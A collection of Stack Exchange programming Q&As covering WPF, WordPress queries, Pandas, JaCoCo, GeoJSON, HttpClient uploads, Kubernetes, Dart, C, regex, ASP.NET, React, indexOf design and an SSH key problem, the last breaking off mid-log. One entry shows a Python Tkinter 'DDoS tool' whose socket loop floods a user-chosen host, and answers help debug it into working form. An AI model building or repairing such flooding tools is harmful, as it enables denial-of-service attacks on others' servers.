text:
Q: Assigning multiple views to one viewmodel WPF C# I have an application where I assign each of the views datacontext through the datatemplate in xaml.
The problem is I now have a viewmodel implemented as a singleton and need to have two views using it.
Is there some way to set multiple views in the one datatemplate?
Something like below which I know does not work, I am just using this as an example of what I mean:
              <DataTemplate DataType="{x:Type viewModel:ThisViewModel}">
                    <view:ViewOne />
                    <view:ViewTwo />
              </DataTemplate>

Thanks

A: I'm not sure if I understand you entirely, but it sounds like you need to assign a Key to your DataTemplates
  <DataTemplate x:Key="DataTemplate1" DataType="{x:Type viewModel:ThisViewModel}">
        <view:ViewOne />
  </DataTemplate>

  <DataTemplate x:Key="DataTemplate2" DataType="{x:Type viewModel:ThisViewModel}">
        <view:ViewTwo />
  </DataTemplate>

Then from your regular XAML, you would specify what template you want to use for each area via it's key, like this:
<ContentControl Content="{Binding MyViewModel}"
                ContentTemplate="{DynamicResource DataTemplate1}" />

<ItemsControl ItemsSource="{Binding MyViewModels}"
              ItemTemplate="{DynamicResource DataTemplate2}" />

If I misunderstood and you actually want one data template containing two Views, there's no problem with that. DataTemplates can have as many elements as you want, however they can only have one main child element, so make that element a panel that is used to tell WPF how to arrange the two views.
  <DataTemplate x:Key="DataTemplate1" DataType="{x:Type viewModel:ThisViewModel}">
      <StackPanel>
          <view:ViewOne />
          <view:ViewTwo />
      </StackPanel>
  </DataTemplate>

A: Yes its possible to add two Views to a DataTemplate like below,
 <DataTemplate x:Key="KeyName" DataType="{x:Type viewModel:ThisViewModel}">
    <Grid>
      <view:ViewOne />
      <view:ViewTwo />
    </Grid>
 </DataTemplate>

DataTemplate can have more than one view by adding any kind of Panel as a parent Control, like Grid, StackPanel, WrapPanel etc all based on how you want to display it on the View.


text:
Q: wpdb->query from table1 check meta data and publish status I have a fairly complex need, which I am not entirely certain of where to start due to my somewhat limited knowledge of WordPress's database structure and everything.. So here's what I have going on.
I have a custom table that would look something like this:
wp_buzzsumo
+--------------------------------------+
| id  pageID  title  totalShares  date |
+--------------------------------------+
| 1   25      -      20000        -    |
| 2   29      -      1992         -    |
| 3   25      -      122345       -    |
| 4   27      -      134          -    |
+--------------------------------------+

I have a WordPress query that looks like this:
SELECT * FROM wp_buzzsumo ORDER BY totalShares DESC LIMIT 20

And then in the loop in PHP where I output the results, I have some statements to check some things.. But now due to the LIMIT of 20 in some cases it does not return anything because the top 20 results fail the if statements... So now I need a way to put these statements into the query..
if(
    !get_field("hide_trending_bar", $PageID) &&
    !get_field("hide_hashtags_from_trending_bar", $PageID) &&
    get_page($PageID)->post_status == "publish"
  )

$PageID would have to match the pageID column in the table above.
I need a query something like this I believe.. But I know this isn't quite the right way of doing this..
 SELECT * FROM wp_buzzsumo
 WHERE wp_posts.pageID=wp_buzzsumo.pageID
 AND wp_posts.post_status = 'publish'
 AND (
      wp_posts.meta_key = 'hide_trending_bar'
      AND
      wp_posts.meta_value = ""
      )
 AND (
      wp_posts.meta_key = 'hide_hashtags_from_trending_bar'
      AND
      wp_posts.meta_value = ""
      )

 ORDER BY totalShares DESC LIMIT 20

A: another approach :-
$pageids = $wpdb->get_col("SELECT id FROM {$wpdb->prefix}buzzsumo ORDER BY totalShares DESC LIMIT 20",ARRAY_N);

$args = array(
    'post_status'      => 'publish',
    'post_status'      => 'page',
    'include'          => $pageids,
    'meta_query'       => array(
        'relationship' => 'AND',
         array(
            'key'      => 'hide_trending_bar',
            'value'    => '',
            'compare'  => '='
        ),
        array(
            'key'      => 'hide_hashtags_from_trending_bar',
            'value'    => '',
            'compare'  => '='
        ),

    )
);
$posts = get_posts( $args );

redpajama_set_name: RedPajamaStackExchange


text:
Q: Doing Pandas properly... rather than using a loop I'm just getting started with Pandas and I'm finding it hard to treat dataframes like dataframes. Every now and again, I just can't work out how to do something without iterating through rows.
For example, I've got a dataframe with budget info. I want to extract the 'vendor' from the 'short description', which is a string of one of three potential forms:

*

*blah blah blah to vendor name

*blah blah blah at vendor name

*vendor name
I can do this using the following code, but I can't help but feel that it's not using Pandas properly. Any thoughts on improving it?
for i, row in dataframe.iterrows():
    current = dataframe['short description'][i]
    if 'to' in current:
        point_of_break = current.index('to') + 3
        dataframe['vendor'][i] = current[point_of_break:]
    elif 'at' in current:
        point_of_break = current.index('at') + 3
        dataframe['vendor'][i] = current[point_of_break:]
    else:
        dataframe['vendor'][i] = current

A: I think you can use str.split by to or at and then select last value of list by str[-1]:
I implemented this solution.
df = pd.DataFrame({'A':['blah blah blah to "vendor name"',
                        'blah blah blah at "vendor name"',
                        '"vendor name"']})
print (df)

                                 A
0  blah blah blah to "vendor name"
1  blah blah blah at "vendor name"
2                    "vendor name"

print (df.A.str.split('[at|to]\s+'))
0    [blah blah blah t, "vendor name"]
1    [blah blah blah a, "vendor name"]
2                      ["vendor name"]
Name: A, dtype: object

df['vendor'] = df.A.str.split('(at|to) *').str[-1]
print (df)
                                 A          vendor
0  blah blah blah to "vendor name"   "vendor name"
1  blah blah blah at "vendor name"   "vendor name"
2                    "vendor name"   "vendor name"

Alternatively use:
df['vendor'] = df.A.str.split('[at|to]\s+').str[-1]
print (df)
                                 A         vendor
0  blah blah blah to "vendor name"  "vendor name"
1  blah blah blah at "vendor name"  "vendor name"
2                    "vendor name"  "vendor name"


text:
Q: Is jacoco agent required even for offline instrumentation? I have been trying to look at several options for code coverage and am currently looking at Jacoco too.
It supports byte code and does both offline and on-the-fly instrumentation. I am currently exploring the offline instrumentation. But it does look like I will need to run the jacocoagent on the tomcat server, even if I try to do an offline instrumentation, to get a coverage report.
Folks here don't seem to like the jacoco agent running on the tomcat server and have entrusted me to look at other options - like a stand alone agent to collect the coverage data and generate reports based on that [something akin to the EMMA of the earlier times]
Does anyone have a brilliant suggestion on this? [Is it that I am doing something wrong or is there a work around?]
Do note that I am able to generate reports and all that seem fine. Just that I don't want the agent to be running on the tomcat server.

A: You don't need to run the JaCoCo agent on the server in the sense that there is some service opening ports or the like. It's just that offline instrumented classes get a direct dependency on the JaCoCo runtime, and therefore jacocoagent.jar has to be on the classpath. So it's just another library that you build against in case of instrumented builds.


text:
Q: GeoAlchemy pg_function.geojson cannot be decoded with json.loads Given this function:
features being a list of SQLAlchemy objects
template just being a dictionary that represents a template for display content to the user
def get_feature_dictionary(features, template):

  feature_list = []

  print features

  for feature in features:

    for field in template.fields:
      if field.data_type == 'geometry':
          geometry = getattr(feature, field.name)
          geometry_string = db.session.scalar(pg_functions.geojson(getattr(feature, field.name)))

    this_feature = {
      "type": "Feature",
      "geometry": json.loads(geometry_string),
      "properties": {
        "id": feature.id,
        "created": feature.created,
        "status": feature.status
      }
    }

    feature_list.append(this_feature)

  return feature_list

I would like to return a GeoJSON FeatureCollection that looks like this:
{
  "type": "FeatureCollection",
  "features": [
    {
      "geometry": {
        "type":"GeometryCollection",
        "geometries":[
          {"type":"Point","coordinates":[2,0]}
        ]
      },
      "properties": {
        "created": "Tue, 03 Aug 2010 17:11:13 GMT",
        "id": 1,
        "status": "public"
      },
      "type": "Feature"
    }
  ],
  "properties": {
    "features_per_page": "",
    "status": {
      "code": 200,
      "type": "OK"
    },
    "total_features": 1021,
    "total_pages": ""
  }
}

And I can get this to print out:
{
  "type": "FeatureCollection",
  "features": [
    {
      "geometry": '{\"type\":\"GeometryCollection\",\"geometries\":[{\"type\":\"Point\",\"coordinates\":[2,0]},{\"type\":\"Polygon\",\"coordinates\":[[[0,0],[1,0],[1,1],[0,1],[0,0]]]}]}'
    ],
  "properties": {
    "features_per_page": "",
    "status": {
      "code": 200,
      "type": "OK"
    },
    "total_features": 1021,
    "total_pages": ""
  }
}

But what I'm ending up with is an error that reads:
TypeError: expected string or buffer

TypeError
TypeError: expected string or buffer

Traceback (most recent call last)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1836, in __call__
return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1820, in wsgi_app
response = self.make_response(self.handle_exception(e))
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1403, in handle_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1817, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1477, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1381, in handle_user_exception
reraise(exc_type, exc_value, tb)
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1475, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1461, in dispatch_request
return self.view_functions[rule.endpoint](**req.view_args)
File "[--removed--]/modules/api/views.py", line 116, in index
search = get_search_results(feature_type, conditions, FeatureType)
File "[--removed--]/modules/api/search.py", line 499, in get_search_results
data = get_feature_dictionary(search['results'], template)
File "[--removed--]/modules/api/utilities.py", line 241, in get_feature_dictionary
Display the sourcecode for this frameOpen an interactive python shell in this frame"geometry": json.loads(geometry_string),
File "/usr/local/Cellar/python/2.7.5/Frameworks/Python.framework/Versions/2.7/lib/python2.7/json/__init__.py", line 338, in loads
return _default_decoder.decode(s)
File "/usr/local/Cellar/python/2.7.5/Frameworks/Python.framework/Versions/2.7/lib/python2.7/json/decoder.py", line 365, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
TypeError: expected string or buffer

I've tried changing the type using str() but that just results in a:
ValueError: No JSON object could be decoded

I've tried this with both GeoAlchemy (pg_functions.geojson) and GeoAlchemy2 (ST_AsGeoJSON) with identical results. I know I'm close, but for some reason I'm not passing the scalar properly or something.
Any one have an idea of what I'm doing wrong?

A: I found that the reason I was coming up with the ValueError: No JSON object could be decoded error is because I wasn't checking to see if a value existed.
I changed this:
geometry_string = db.session.scalar(pg_functions.geojson(getattr(feature, field.name)))
to this:
geometry_string = db.session.scalar(pg_functions.geojson(getattr(feature, field.name))) or '{}'
and everything worked perfectly, json.loads() was tripping over an empty string and can't parse an empty string as JSON, it at minimum needs to an empty JSON object {}


text:
Q: HttpClient, PostAsync, File upload, boundary added to file body I'm new to the forum so I'm not allowed to add the pictures directly. Neither am I allowed to add the tags "PostAsync" or "MultipartFormDataContent".
Hope the url's work and that the post makes sense!
I'm using the HttpClient in a .NET console application to POST a file to an external web service.
Currently I'm just working with a dummy-document (.txt) that looks like this:
Original document
The POST works and uploads the document, but it has appended the boundary, content-disposition and content-type to the document text:
Document after post
The code looks like this:
code
If I look at the RequestMessage->Content the Headers looks ok to me: Content Header
My question is:
Has this something to do with my POST, or could this be related to how the web service handles/receives the request? I've tried 4 different 'variations' (which are pretty much exactly the same) to do this POST with the same result.
I also tried to remove the quotes from the boundary:
var boundaryValue = content.Headers.ContentType.Parameters.FirstOrDefault(p => p.Name == "boundary");

boundaryValue.Value = boundaryValue.Value.Replace("\"", String.Empty);

Any input is appreciated, this has been bugging me for a while :)
EDIT
        string filePath = @"C:\Development\Customer\PKH\Documaster\TestFileToUpload.txt";
        // we need to send a request with multipart/form-data
        var content = new MultipartFormDataContent();
        var fileContent = new StreamContent(File.OpenRead(filePath));
        fileContent.Headers.ContentDisposition = new ContentDispositionHeaderValue("form-data")
        {
            Name = "\"files\"",
            FileName = "\"" + Path.GetFileName(filePath) + "\""
        };
        fileContent.Headers.ContentType = new MediaTypeHeaderValue("plain/text");
        content.Add(fileContent);

        //Create uri
        var builder = new UriBuilder(httpClient.BaseAddress + "integration/hub/v1/upload-single-file");
        var query = HttpUtility.ParseQueryString(builder.Query);
        var fileName = Path.GetFileName(filePath);
        query["file-name"] = fileName;
        builder.Query = query.ToString();
        string url = builder.ToString();

        //Do post
        try
        {
            HttpResponseMessage responseString = await httpClient.PostAsync(url, content);
            var contents = await responseString.Content.ReadAsStringAsync();
            JObject newDocument = JObject.Parse(contents);
            return newDocument;
        }
        catch(Exception)
        {
            return null;
        }

//Eivind

A: Nevermind, I figured this one out in the end:
The receiving end expected to get an octet-stream, not multiform/data, so I just had to send this as a ByteArray and specify the MediaTypeHeaderValue instead:
string filePath = @"C:\Development\Customer\PKH\Documaster\TestDocxToUpload.docx";
        var filebytes = File.ReadAllBytes(filePath);

        //Create uri
        var builder = new UriBuilder(httpClient.BaseAddress + "integration/hub/v1/upload-single-file");
        var query = HttpUtility.ParseQueryString(builder.Query);
        var fileName = Path.GetFileName(filePath);
        query["file-name"] = fileName;
        builder.Query = query.ToString();
        string url = builder.ToString();

        //Do post
        try
        {
            using (var content = new ByteArrayContent(filebytes))
            {
                content.Headers.ContentType = new MediaTypeHeaderValue("application/octet-stream");
                HttpResponseMessage responseString = await httpClient.PostAsync(url, content);
                var contents = await responseString.Content.ReadAsStringAsync();
                JObject newDocument = JObject.Parse(contents);
                return newDocument;
            }

        }
        catch(Exception)
        {
            return null;
        }

//Eivind

A: Thank you so much for your post. I have been searching for a way to upload documents using Graph, but couln't find samples showing how to format Word document content. You really helped me.
This is how i used it for uploading Word documents to a SharePoint online site using Graph.
byte[] fileContent = File.ReadAllBytes("Samples\\Document1.docx");
string targetPath = "/UploadedDocument.docx";
string uploadUrl = $"https://graph.microsoft.com/v1.0/sites/{siteId}/drive/root:{targetPath}:/content";
using (var content = new ByteArrayContent(fileContent))
{
    content.Headers.ContentType = new System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream");
    HttpResponseMessage responseString = await httpClient.PutAsync(uploadUrl, content);
    string contents = await responseString.Content.ReadAsStringAsync();
}


text:
Q: Network alias for Kubernetes ClusterIP Service Is there a way for a Kubernetes ClusterIP Service to have a network alias, other than its metadata.name field value?
Docker-compose has a similar functionality with network aliases.

A: If I good understand your question you can also configure HostAliases for a Pod under .spec.hostAliases using /etc/hosts file. Look at the example:
apiVersion: v1
kind: Pod
metadata:
  name: hostaliases-pod
spec:
  restartPolicy: Never
  hostAliases:
  - ip: "127.0.0.1"
    hostnames:
    - "foo.local"
    - "bar.local"
  - ip: "10.1.2.3"
    hostnames:
    - "foo.remote"
    - "bar.remote"
  containers:
  - name: cat-hosts
    image: busybox
    command:
    - cat
    args:
    - "/etc/hosts"

In addition to the default boilerplate, you can add additional entries to the hosts file. For example: to resolve foo.local, bar.local to 127.0.0.1 and foo.remote, bar.remote to 10.1.2.3, you can configure HostAliases for a Pod under .spec.hostAliases.

You can find more information about Host Aliases here:


text:
Q: How to cite reset page numbers? I'm trying to cite a "P.S." section of a book, Green Grass Running Water by Thomas King, but the page numbers just start again from 1 at the start of the P.S. section (i.e. the next page after 430 is 1). How would I cite from that section? Would it be just (King 15)? That would conflict with the 15th page of the actual novel.
The content is actually taken from a journal as well, so should I cite that instead even though it's from the back of a book?


text:
Q: meaning of const in `const ['foo', 'bar']` in dart I know that const is compile-time constant in dart, but I don't understand mechanism behind const [F0, F1, F2] in the following code:
class Foo {
  static const F0 = 'F0';
  static const F1 = 'F1';
  static const F2 = 'F2';
  // const list of const values I guess...
  static const CONST_LIST = const [F0, F1, F2]; // please explain this line
  static final String FOO = CONST_LIST[0]; // ok
  // compile error: 'const' varaibles must be constant value
  // static const String BAR = CONST_LIST[1];
}

main() {
  // is CONST_LIST const or not?
  // below line it's ok for dartanalyzer but
  // in runtime: Cannot change the content of an unmodifiable List
  Foo.CONST_LIST[1] = 'new value';
}

I noticed that const is required by dart analyzer in const [F0, F1, F2]; but it does make list more like final (runtime immutable list) rather than compile time const.
UPDATE:
Another question is why CONST_LIST[1] is not "constant value". See commented declaration of Foo.BAR.

A: Günter has answered the second part of your question. Here is some more information about const.

Const means that the object's entire deep state can be determined entirely at compile time and that the object will be frozen and completely immutable.

More information in this article. Also see the following question.
Regarding the second part of your question, consider the following:
const int foo = 10 * 10;

The expression "10 * 10" can be evaluated at compile time, so it is a "constant expression". The types of things you can do in a constant expression need to be quite limited (otherwise you could run arbitrary Dart code in the compiler!). But some of these limitations are being relaxed as dart matures, as you can see in the bug which Günter linked to.
In contrast, consider the following:
final int bar = 10;
final int foo = bar * bar;

Since "bar * bar" is not a constant expression it is evaluated at runtime.

A: There is  an open bug for this: see  https://github.com/dart-lang/sdk/issues/3059


text:
Q: Tkinter button does not what it should I'm quite new to Python and just started to work myself into Tkinter. I started on creating a little GUI for a DDoS tool (since it doesn't need much input etc.). So far the GUI and everything works fine, but as soon as i try to "Fire" the attack it just fails. I can't seem to find the error myself. Any help will be appreciated :)
import time, socket, os, sys, string
from Tkinter import *

root = Tk()
root.title("DDoS")
m = StringVar()
h = StringVar()
p = StringVar()
c = IntVar()

# ***** Text *****
l1 = Label(root, text="Specify Message to send")
l2 = Label(root, text="Specify Host Url")
l3 = Label(root, text="Specify port (usually 80)")
l4 = Label(root, text="Specify amount of attacks")

l1.grid(row=0, sticky=W)
l2.grid(row=1, sticky=W)
l3.grid(row=2, sticky=W)
l4.grid(row=3, sticky=W)

# ***** Input Boxes *****
e1 = Entry(root, textvariable=m)
e2 = Entry(root, textvariable=h)
e3 = Entry(root, textvariable=p)
e4 = Entry(root, textvariable=c)

e1.grid(row=0, column=1)
e2.grid(row=1, column=1)
e3.grid(row=2, column=1)
e4.grid(row=3, column=1)

e3.insert(0, "80")

# ***** grab Input & convert *****
message = e1.get()
host = e2.get()
port = int(e3.get())
conn = int(e4.get())

ip = socket.gethostbyname( host )

def dos():
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((ip, port))
        ddos.send("GET /%s HTTP/1.1\r\n" % message)
        ddos.sendto("GET /%s HTTP/1.1\r\n" % message, (ip, port))
        ddos.send("GET /%s HTTP/1.1\r\n" % message)
    except socket.error, msg:
        print("|[Connection Failed]|")
    print ("|[DDoS Attack Engaged]|")
    ddos.close()

for i in xrange(conn):
    dos()

#FIRE
b = Button(root, text="FIRE", bg='green', command=dos)
b.grid(row=4, column=1)

root.mainloop()

A: The problem is that you are calling e1.get() before the user has the ability to enter any data. That call only gets the current value, and the current value is empty when the GUI first starts up.
You need to make that call and the other calls to .get() inside your dos function, so that you get the value as of the time when they click the button.

A: works perfectly now, changed the for loop into a function. Thx for all the help.
message = "test"
ip = socket.gethostbyname(e2.get())
def dos():
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((e2.get(), int(e3.get())))
        ddos.send( message )
        ddos.sendto( message, (ip, int(e3.get()) ))
        ddos.send( message )
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()

def attack():
    for i in xrange(int(e4.get())):
        dos()

#FIRE
b = Button(root, text="FIRE", bg='green', command=attack)
b.grid(row=4, column=1)

root.mainloop()


text:
Q: How to read unsigned char delimited by white space in c As of now, when I try to load a unsigned char array with my input, each input character is treated as a char. How can I let the program know that I am entering unsigned chars into the input?
input: 86 75 178 98 75 15 78 88
 unsigned char input[256];
 fgets(input,sizeof(input),stdin);
 for(int i=0; input[i] != '\n'; i++){
   printf("%hhu ", (unsigned char) input[i]);
 }

The output as of now is "8 6  7 5  1 7 8  9 8...."
I would like to load up the input array with the numbers provided in the input.
Edit: would it be easier to use space as a delimiter to show the end of the first unsigned char?

A: Parse the buffer after reading it.  "%n" lets you know how far the scanning went.
unsigned char input[256];
if (fgets(input,sizeof(input),stdin) == NULL) {
  HandleEOForIOError();
}

int n;
char *p = input;
unsigned char value;
while (sscanf(p, " %hhu %n", &value, &n) == 1) {
  printf("%hhu ", value);
  p += n;
}
if (*p != '\0') Handle_LeftOverGarbageInString();


text:
Q: Regex: how to select characters that follow  without selecting that ? I want to select !! that follow any non-white-space word, without selecting any part of the word.
For example, take this simple expression: [^ ]!!
In will select the bold&italic of the following:

!This!!And!ThisOne!!
But not !! any of these !! !

That is selecting what I want, but in addition it's also selecting the last character of the words. Basically what I want the selection to look like is this:

!This!!And!ThisOne!!
But not !! any of these !! !

Is there a way to do that in Regex? Of course, in code I could just find all the matches, and then replace all the matches with the matches - the first character. But I was hoping there is a way to do with just regex.

A: Use a look behind that asserts the previous char is a "word" character:
(?<=\w)!!

See live demo.
Look arounds assert without consuming, so any input they match is not part of the overall match.


text:
Q: Responding with a csv file in asp.net I am trying to make a csv file from a textbox and then send it to the user. This is my code so far:
Response.Clear();
            Response.ContentType = "text/csv";
            Response.AppendHeader("Content-Disposition",
                string.Format("attachment; filename={0}", DateTime.Now));

            Response.Write(TextBox_Data.Text);
            Context.Response.End();

What is sent is an empty xml file, I have never tried responding with a  file before and I'm wondering why it does this?
I have also tried the following which did not work:
var writer = File.CreateText("C:\\file.csv");
            writer.WriteLine(TextBox_Data.Text);

            Context.Response.Clear();
            Context.Response.AppendHeader("content-disposition", "attachment; filename=" + DateTime.Now + ".csv");
            Context.Response.ContentType = "text/csv";
            Context.Response.Write("C:\\file.csv");
            Context.Response.Flush();
            Context.Response.End();

Let me know if you have the answer :)

A: The following code worked for me.  You may just be missing a file extension.
Response.Clear();
Response.ContentType = "text/csv";
Response.AppendHeader("Content-Disposition",
                string.Format("attachment; filename={0}.csv", DateTime.Now));
Response.Write(TextBox_Data.Text);
Context.Response.End();

A: Just a complement on joshb's answer regarding the use of Response.End():
MSDN does not recommend the use of Response.End() for non-error cases, and in some cases it can actually cause the client to lose some data .
In my case sometimes the downloaded csv would loose the last bytes of the last line, so I removed the Response.End() and used
    HttpContext.Current.ApplicationInstance.CompleteRequest()

instead, and I had to override the page's Render(HtmlTextWriter writer) method to not write anything on the request, since the csv was already writen.
public class PageBase : Page
{
    private bool performRegularPageRender = true;

    protected override void Render(HtmlTextWriter writer)
    {
        if (performRegularPageRender)
            base.Render(writer);
    }

    public void SkipRegularPageRendering()
    {
        performRegularPageRender = false;
    }
}

More info / credits:
msdn blog;  Is Response.End() considered harmful?; PostBack and Render Solutions? Overrides


text:
Q: Reactjs and data on server I'm new to Javascript frameworks and looking for framework for my new projects. Until now i created simple apps using MVC framework Django with Bootstrap frontend. Thanks framework i got everything in one package with best-practice well know. For Javascript i used some jQuery libraries without understanding, just configured with doc help.
When i tried to write some Javascript on my own and found there are big changes in JS world (like ES6, TypeScript) i found it very usefull. When i found JS frameworks, i felt in love.
I have read about frameworks, watched some tutorials. As many other, i found React nice. But what i'm completely missing, is the server part. Especially React tutorials creates components or functions, nice UI, but don't cover what happens with data next. I know that React is ment as "V" in MVC. But what is the best-practice or wide-used extension for server part? Are there tutorials or book to take me further than just creating actions and UI?
Thanks for any links, i just need to point best direction. Or is React ment for just specific project parts and better to look elsewhere?

A: As you said, yes there are quite a number of tutorials and most of them don't cover how do you deploy node apps on the servers. I'll assume you have some server admin knowledge so I'll skip straight to the meat of the setup.
The Server Setup
Regardless of it being a simple static page, a single page API or a react app, you will need to have Node.js installed on any server you will want it to run. Second you will need a production process manager for Node.js. My personal favourite is PM2. The process manages makes sure your app is always on and restarts it if it goes down for whatever reason. You will also need a reverse proxy server (you need this for security and SEO purposes). Again, a go-to for it is Nginx (it's a competitor of Apache)
Two very good tutorials for setting up your server are
Tut #1
Tut #2
The App Setup
Apart from all the server setup you need to handle routing for your app (what happens when you to go to /blog or /login). A stable standard right now is Express.js. You can do without but then you will need to write a lot of the manual routing by hand in Node.js You will set up Express to server back your Index file and any others you may need.
A good tutorial for configuring your Express for a React app is Video Tut.
He does show a bit more but that is on later videos. You can stop once you get the gist of it.
Advanced Stuff
There's also the matter if you want the JavaScript to be rendered on the server or on the client side. For that you will need to make some more configuration for you app. The video tutorial I linked above should show you how to set that up as well if you are interested.


text:
Q: Why String.indexOf do not use exception but return -1 when substring not found? Why String.indexOf do not use exception but return -1 when substring not found?
The purpose of this question is: when we start custom exception.
I believe avoid the need to return special error code is right design path.
What's your opinion?

A: returning -1 is almost as horrible as throwing an exception. The correct way would be to use option type if language just supported it better. In normal situation where there is result, you wrap the result in object and return that. Otherwise you return an object representing the "not result" situation.
In call site you have to check which one was it; you can't just use the return value because of their super type, they have to be inspected via pattern matching.
In pseudo syntax:
class Option[a] = Some[a] | None,

where a is generic type parameter, Some represents a result with value and None non-result without value.
in indexOf case you would have:
Option[Integer] indexOf(char c) = {
   if(found) return Some(index)
   else return None
}

and you use that this way:
result = "uncle".indexOf('c')
result match {
  Some(i) => System.out.println("index was: " + i);
  None => System.out.println("no value");
}

If you omitted either Some or None from matching (which is kinda generalized switch), compiler would give you a warning.

A: Also because exceptions are expensive in terms of performance

A: Lots of good answers here. This is a design issue where pragmatism has taken precedence over following "rules". In this case, there are some conflicting "rules":

*

*avoid using special values as return data (not self-documenting, requires developer to handle special value in a distinct way from other code)

vs.

*

*don't throw exceptions during routine execution of code, only when something unexpected happens

I agree with this design decision. If you do not, however, you can always write your own code to check for the existence of a string before checking its index. Do not be a prisoner of your language, bend it to your will. Languages are meant to be tortured!

A: As a rule of thumb, if the purpose of a method is to check for something, then the lack of that something shouldn't be an exception.  If the method is assuming that something is true, then the absence of that something would be an exception.  Thus "File.exists()" doesn't throw a FileNotFoundException, but "File.open()" does.

A: It's a lot easier to deal with checking for a -1 than catching an exception.

A: Aside from the arguments against exceptions in general, I would add that -1 can be a useful result from indexOf and lastIndexOf, not just a special value.  For instance, to parse the filename from a string that may or may not contain a path:
String filename = arg.substring(arg.lastIndexOf('/') + 1);

While perhaps a contrived example, this would be a bit more cumbersome with exceptions.

A: exceptions are for exceptional cases, when a string does not contain a letter, that's hardly exceptional, unless you are using it for some extreme case.  If that's what you are doing, you can always choose to throw your own exception.

A: Last I heard on that was...

'You throw an exception when your
  method is unable to do what it
  promises to' - Jeff Richter CVC 2nd ed

*

*IndexOf() promises you to return the index of the first occurrence of a char/string. It would have thrown an exception if it was unable to do its job for some reason. It did its job but didn't find the string and hence returns -1 to convey the not-found result.

*File.Open() will throw a FileNotException for a non-existing filepath since it is unable to do what it promises .. i.e. open the specified file.

A: I think that one has to throw an exception when something unexpected happens.
That said, a substring not found in a String is not that unexpected, can happen, it is a reasonable result.
I agree with you that one should try to avoid returning error codes, but in this case we have only two choices, string found or string not found.

A: Until the author of Java's string.indexOf tells us the actual history...
Let's suppose we had to design it from scratch, some obvious design constraints for this problem:

*

*indexOf must return a numeric value, so that when a match is found, you know where it is

*valid indexes are guaranteed to be always integers

*array (and string) indexes are zero-based in Java

*Java is strongly typed

*the integer numeric types are signed in Java

Given those basic constraints, some possible choices for function return type the would be integer (ideally of a type large enough to represent the last index in the largest possible string), OR... Object (and perhaps return null to indicate not found). But in practice returning Object would be neither efficient nor user-friendly, due to the need to check its validity and cast before usage for the found case - so it's not really a viable option!
So let's go with an integer. Do we want to throw an exception if not found? Throwing exceptions has multiple problems of its own - creating exception objects and jumping to exception handlers can be quite inefficient, and writing try/catch blocks around indexOf calls is no fun either!
So let's say we've narrowed it down: it has to return a (signed) integer type, and not throw an exception. Now which integer value should it return to represent not found?
In order to allow searching in strings as large as possible, we should reserve all positive integers for usage as meaning successfully found. Conversely, none of the negative numbers is needed to represent a 'found' index, so all are potentially available to use as return codes representing 'not found'.
If we could have picked any negative number, to represent not found, or just said 'all negative return values mean not found' it would do the job... But would it be the best design?
What are some reasons to use -1 instead of other negative numbers? My favorite reasons are simply '-1 is easy for everyone to remember, and you can do exact equality tests on it'. (Instead of being forced to use inequalities and think about off-by-one problems like whether you want less-than or less-than-or-equal, and what value to compare with, zero or negative one)
I also sometimes admire Chris's reason that (paraphrasing) 'it works nicely with substring(foundIndex + 1)'.


text:
Q: Permission denied (publickey) - bitnami at AWS (Wordpress site) - Connecting with PC I face following issues when trying to connect from my PS using either PowerShell or Cygwin to AWS on which my Wordpress site is hosted (Bitnami).
(I simply what to log in to the server either this way or using Putty as described here (LINK Putty is throwing an error "using username bitnami. Server refused our key. No supported authentication methods available. server sent publickey")
What I tried so far:
I execute either or both of the following commands...
chmod 600 <key-pair-from-aws>.pem
chmod 400 <key-pair-from-aws>.pem

(When I logged in to ec2 instance, under Key Pairs section I saw an entry, but I could not download it. That's why I generated a new key pair and that is the file I am using in the commands below.)
Then I enter the following command...
ssh bitnami@<public-ip-address> -i <key-pair-from-aws>.pem

... I get the following error:

Permissions for '(key-pair-from-aws).pem' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key ".pem": bad permissions
bitnami@(public-ip-address): Permission denied (publickey).

Now, if I select the file on the PC "Properties -> Security -> Advanced -> disable inheritance", and then remove every user except my user, and then execute the same command ...
ssh bitnami@<public-ip-address> -i <key-pair-from-aws>.pem

... I get the following error:
bitnami@<public-ip-address>: Permission denied (publickey).

here I am stuck because I do not have any idea how to proceed further.
Searching on Stackoverflow and google I could not find anything to help me solve this issue.
can anyone please help with concrete, step-by-step instructions?
Thank you!
Update: here is the result of the command
$ ssh -v -i "pem-file-name.pem" bitnami@
> OpenSSH_for_Windows_8.1p1, LibreSSL 3.0.2
debug1: Connecting to <public-ip-address> [<public-ip-address>] port 22.
debug1: Connection established.
debug1: identity file kljuc_par_ime.pem type -1
debug1: identity file kljuc_par_ime.pem-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_for_Windows_8.1
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.4p1 Debian-
5+deb11u1
debug1: match: OpenSSH_8.4p1 Debian-5+deb11u1 pat OpenSSH* compat 0x04000000
debug1: Authenticating to <public-ip-address>:22 as 'bitnami'
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: curve25519-sha256
debug1: kex: host key algorithm: ecdsa-sha2-nistp256
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit>
compression: none
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit>
compression: none
debug1: expecting SSH2_MSG_KEX_ECDH_REPLY
debug1: Server host key: <deleted for sec purposes> SHA256:<deleted for security purposes>
debug1: Host '<public-ip-address>' is known and matches the ECDSA host key.
debug1: Found key in C:\\Users\\My-User/.ssh/known_hosts:1
